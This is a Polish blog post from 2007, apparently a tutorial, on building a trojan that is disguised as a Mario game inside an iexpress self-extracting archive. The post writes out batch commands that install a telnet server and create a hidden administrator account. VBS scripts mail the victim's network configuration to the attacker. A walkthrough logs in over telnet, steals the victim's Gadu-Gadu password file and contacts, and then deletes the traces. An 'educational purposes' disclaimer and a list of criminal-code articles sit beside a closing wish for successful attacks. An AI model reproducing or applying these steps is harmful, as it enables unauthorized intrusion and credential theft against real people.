Ventrue’s world

Szczypta Telnetu, dodać VBS, przyprawić plikami BATCH..

Posted on 18 marca, 2007. Filed under: Komputery, Windows |

Hej 🙂
Dzisiaj napiszemy sobie mini „konia trojańskiego”, który umożliwi nam przejęcie całkowitej kontroli nad systemem za pomocą Telnetu i konta administratora na atakowanym systemie 🙂

Ok, mamy chęci, ale co nam będzie potrzebne?

1. Notatnik
2. ndtelnet.exe
3. Numer IP „ofiary”
4. Nieużywane konto pocztowe
5. Jakaś mała gra, lub programik, np. mario.exe (Kliknij, by pobrać)
6. Systemowa konsola poleceń (cmd.exe)

[Dodany mirror mario i ndtelnet: TUTAJ

Ok, najpierw więc stwórzmy plik wsadowy, który w czasie naszej fałszywej instalacji zostanie uruchomiony i trochę namiesza w systemie, przygotowując podłoże pod nasz atak.
Więc do dzieła!

Utwórz plik tekstowy, zapisz go pod nazwą

Wklej teraz do niego ten kod:

@ECHO OFF
ndtelnet.exe /INSTALL
net start „ND TELNET SERVER”

Ok, mamy już kawałek kodu, ale żeby potem poszaleć z systemem, musimy posiadać konto z uprawnieniami administratora. W tym celu znajomość nazwy użytkownika i hasła konta z grupy administratorów jest niezbędna. Czyli co? Jak nie znamy to lipa z miodem? Niekoniecznie 😉 I na to jest sposób: Dlaczegóż by nie założyć sobie samemu takiego konta na atakowanym systemie 🙂

Więc dla chcącego nic trudnego! Otwórz jeszcze raz install.cmd (Prawy klik->Edytuj) i dodaj do niego ten kod:

net user admin haslo /add
net localgroup administratorzy admin /add

Cały plik będzie wyglądać więc tak:

@ECHO OFF
ndtelnet.exe /INSTALL
net start „ND TELNET SERVER”
net user admin haslo /add
net localgroup administratorzy admin /add

Potrzebujemy także utworzyć na atakowanym systemie katalog, do którego przekopiujemy pliki potrzebne do skutecznego zakończenia naszego ataku, tzn. skrypt, który wyśle nam plik, który
będziemy sobie chcieli pożyczyć, a także skrypt, który wyśle nam numer IP, w razie gdybyśmy go nie znali 😉

Dopiszmy więc do install.cmd:

mkdir C:\Windows\VSetup
ipconfig >> C:\Windows\VSetup\text.xyz
copy setup.vbs C:\Windows\VSetup\setup.vbs
copy install.cmd C:\Windows\VSetup\install.cmd
copy remove.cmd C:\Windows\VSetup\remove.cmd
copy ndtelnet.exe C:\Windows\VSetup\ndtelnet.exe
ic.vbs

Polecenie ipconfig pokazuje nam aktualną konfigurację sieciową, którą zapisujemy w utworzonym
przed chwilą katalogu pod nazwą text.xyz, i który zostanie nam wysłany pocztą.

Jako, że szablon bloga ma głupią czcionkę i skopiowany tekst w cudzysłowach nie będzie działał, pokazuje jak powinien wyglądać plik install.cmd:

Przejdźmy teraz do konfiguracji skryptów vbs: setup.vbs i ic.vbs, które mają taką samą funkcję, acz różnią się tylko jednym szczegółem: Załącznikiem. Setup.vbs posłuży nam do wysłania „pożyczonego” pliku, zaś ic.vbs wyśle nam wspomnianą wcześniej konfigurację sieciową (w tym numer IP) na naszą skrzynkę pocztową.

• ic.vbs (kliknij, aby pobrać)
• setup.vbs (kliknij, aby pobrać)

Zacznijmy od konfiguracji ic.vbs:

(kliknij, by powiększyć)

1: Zamiast NAZWA piszemy cokolwiek, to będzie nazwa nadawcy. <adres@email.com> zamieniamy na: posiadacze konta na o2.pl zmienią to na użytkownik@o2.pl, zaś Interii – użytkownik@interia.pl UWAGA! Ważne jest, aby adres podany był w nawiasach <>!
2: ODBIORCA@SERWER.PL zmieńmy na naszą skrzynkę pocztową, na nią przyjdzie plik z konfiguracją sieciową ofiary.
Tekst Witaj administratorze… możemy zmienić, aczkolwiek nie musimy. Linijka zawierająca C:\Windows\VSetup\text.xyz jest najważniejsza: musimy wpisać do niej ścieżkę do katalogu, którego nazwę wpisywaliśmy do install.cmd (U mnie C:\Windows\VSetup\text.xyz)
3: Adres serwera pocztowego, jeśli mamy konto na o2.pl, to zostawiamy tak jak jest. Jeśli mamy konto na Interii, to zmieniamy napis z poczta.o2.pl na poczta.interia.pl
Zamiast UŻYTKOWNIK wpisujemy login do konta pocztowego, zaś zamiast HASŁO – hasło do konta pocztowego.

Konfigurację setup.vbs zmieniamy na tak samo, jedynie nazwę załącznika zmieniamy na zalacznik.zal (Wg. uznania, jednak będziesz musiał to zapamiętać!)

Ok, półmetek za nami: Podsumujmy na razie nasze dokonania:
Mamy plik install.cmd, setup.vbs, ic.vbs, ndtelnet.exe i mario.exe (+ skróty w jego archiwum), wyedytowaliśmy skrypty i praktycznie większość za nami 🙂

Zanteresujmy się teraz jaką małą grą, np. mario (Link do pobrania na początku), w końcu czymś musimy zainteresować swoją ofiarę. rozpakujmy ją teraz do naszego katalogu z projektem. Razem powinno wyglądać to tak:

Utwórzmy teraz samorozpakowujące archiwum, które po rozpakowaniu uruchomi naszeg „trojana”.

Sposób: Narzędzie iexpress.exe, które uruchomimy wpisując w Menu Start->Uruchom iexpress.exe

1. 
2. 
3. 
4. 
5. 
6. 
7. 
8. 
9. 
10. 
11. 
12. 

Uruchamia on nasz skrypt install.cmd po wyłączeniu gry przez naszą „ofiarę”. Ma ona mniej więcej 1,5-2 sekundy na reakcję, ale tyle czasu zajmuje, moim zdaniem, przyglądniecie się okienku i przeczytanie napisu o skopiowaniu plików 😉

Wszystko gotowe? Fajnie! Wybrałeś komputer do ataku? Przesłałeś plik, który następnie uruchomiła osoba? Jeszcze fajniej 🙂

Wejdźmy więc w Menu Start i wybierzmy opcję Uruchom. Wpisz w okienku cmd. Ukaże ci się czarne okienko ze znakiem zachęty. Zachęca nas to do działania, więc wpiszmy w okienku polecenie telnet numer_ip_komputera_ofiary, np. telnet 72.14.221.104
Widzisz teraz napis: .
Wpiszmy więc dane do utworzonego przez nas konta: login ustawiliśmy na admin, hasło zaś na haslo.

Uwaga: Jeśli zamiast okna poniżej zobaczysz napis login failed, to oznacza, że albo źle wpisujesz dane do konta (zobacz plik install.cmd, tam masz dane), lub ofiara nie uruchomiła naszej paczki, lub też firewall blokuje połączenia. W przypadku tego ostatniego nie podziałamy za dużo, po prostu firewall wszystko poblokuje.

Jeśli jednak wszystko poszło ok, to zobaczymy coś takiego:

… to znaczy, ze znajdujemy się w kompie ofiary! 😉
Teraz przydałaby się znajomość poleceń DOSa/konsoli poleceń. Nie znasz? W takim razie przedstawię ci je na przykładzie pożyczenia sobie profilu GG „ofiary”: numeru, hasła, listy kontaktów.
Zaczynamy więc w katalogu System32. Pora z niego wyjść, użyjmy do tego polecenie cd ../..
Jesteśmy teraz w C:\ Przejdźmy do Documents and Settings:
cd „Documents and Settings” (w cudzysłowach, gdyż nazwa zawiera spacje).
Wyświetlmy teraz katalogi, aby poznać nazwy użytkowników systemu:
dir ukaże nam wszystkie katalogi w folderze (oprócz ukrytych). Wejdźmy więc do katalogu z profilem Gadu-Gadu użytkownika: cd Uzytkownik/Gadu-Gadu
użyjmy polecenia dir, aby wyświetlić nazwę profilu, a następnie do niego wejdźmy używając polecenia cd. Więc jesteśmy teraz w katalogu profilu. Skopiujmy zatem plik zawierający dane do konta do katalogu utworzonego przed atakiem: copy config.dat C:\Windows\VSetup\zalacznik.zal. Przejdźmy teraz do katalogu C:\Windows\VSetup. Wpisz w okienko: C:, następnie cd Windows i na końcu cd VSetup. Jako, że plik config.dat, który zawiera dane do konta: hasło i numer przemianowaliśmy na zalacznik.zal to możemy bez problemu użyć naszego skryptu setup.vbs, który siedzi bezpiecznie w naszym katalogu C:\Windows\VSetup.
Aby go uruchomić wpisz więc setup.vbs. Plik w ciągu kilku minut powinien dotrzeć na naszą skrzynkę. Teraz wpisz del zalacznik.zal, aby skasować 1 załącznik. Musimy przecież wrócić po listę kontaktów. Zrob tak jak robiliśmy z plikiem config.dat, jednak teraz skopiuj plik smseab.dat do katalogu C:\Windows\VSetup pod nazwą zalacznik.zal. Potem uruchom ponownie setup.vbs.

Cóż, przyszedł czas żegnać się z naszym systemem. Pobraliśmy to co nas interesowało, więc po co zostawać dłużej? 😉
Wyjdź więc z katalogu VSetup, a następnie wpisz po kolei:

rmdir C:\Windows\VSetup /S /Q
net user admin /delete
exit

lub skopiuj plik remove.cmd gdzieś poza katalog VSetup, a następnie go uruchom, wpisując po prostu remove.cmd

Fajnie było? To teraz ku gwoli ścisłości:

Jeśli w podany przeze mnie sposób dostałeś się do czyjegoś komputera, to podpadasz pod:

W ustawie z 6 czerwca 1997 r. kodeks karny (Dz.U. nr 88, poz. 553)1 zagadnienie ścigania przestępstw komputerowych zawarto w kilku rozdziałach, a mianowicie:

1. rozdział XXXIII – Przestępstwa przeciwko ochronie informacji (art. 267 § 1 i 2, art. 268 § 2 oraz art. 296 § 1 i 2 kk);
2. rozdział XXXV – Przestępstwa przeciwko mieniu (art. 278 § 2 i 5, art. 285 § 1, art. 287 § 1 oraz art. 293 § 1 kk);

+ podpadasz pod przykazanie 7.
Pozdrawiam i życzę miłych ataków zakończonych sukcesami 🙂

P.S: Tutorial powstał w celach edukacyjnych, pokazuje tylko możliwości wykorzystania danych narzędzi. Bo nożem też można zabić, ale głównie służy do krojenia, prawda? 🙂

W Win XP Professional można przygotować tą paczkę bez użytania/ściągania serwera telnetu, gdyż ten jest po prostu wbudowany w tą wersję XP. Home tego nie posiada, więc jeśli podsyłamy to komuś, kto posiada XP Home, to musimy ściągnąc i uruchomić serwer telnetu jw.
Jeśli jednak „ofiara” ma XP Pro, to wystarczy zamiast w install.cmd uruchamiać i instalować NdTlenet, wpisać takie polecenie:
@ECHO OFF
net start TlntSrv
net user admin haslo /add
net localgroup administratorzy admin /addLub zastosowac się do porady Jimmy’ego:
http://www.governmentsecurity.org/archive/t6216.html
Post z „Jan 28 2004, 03:49 PM” 😉

Make a Comment

Komentarzy 86 to “Szczypta Telnetu, dodać VBS, przyprawić plikami BATCH..”

Comments RSS Feed

Where's The Comment Form?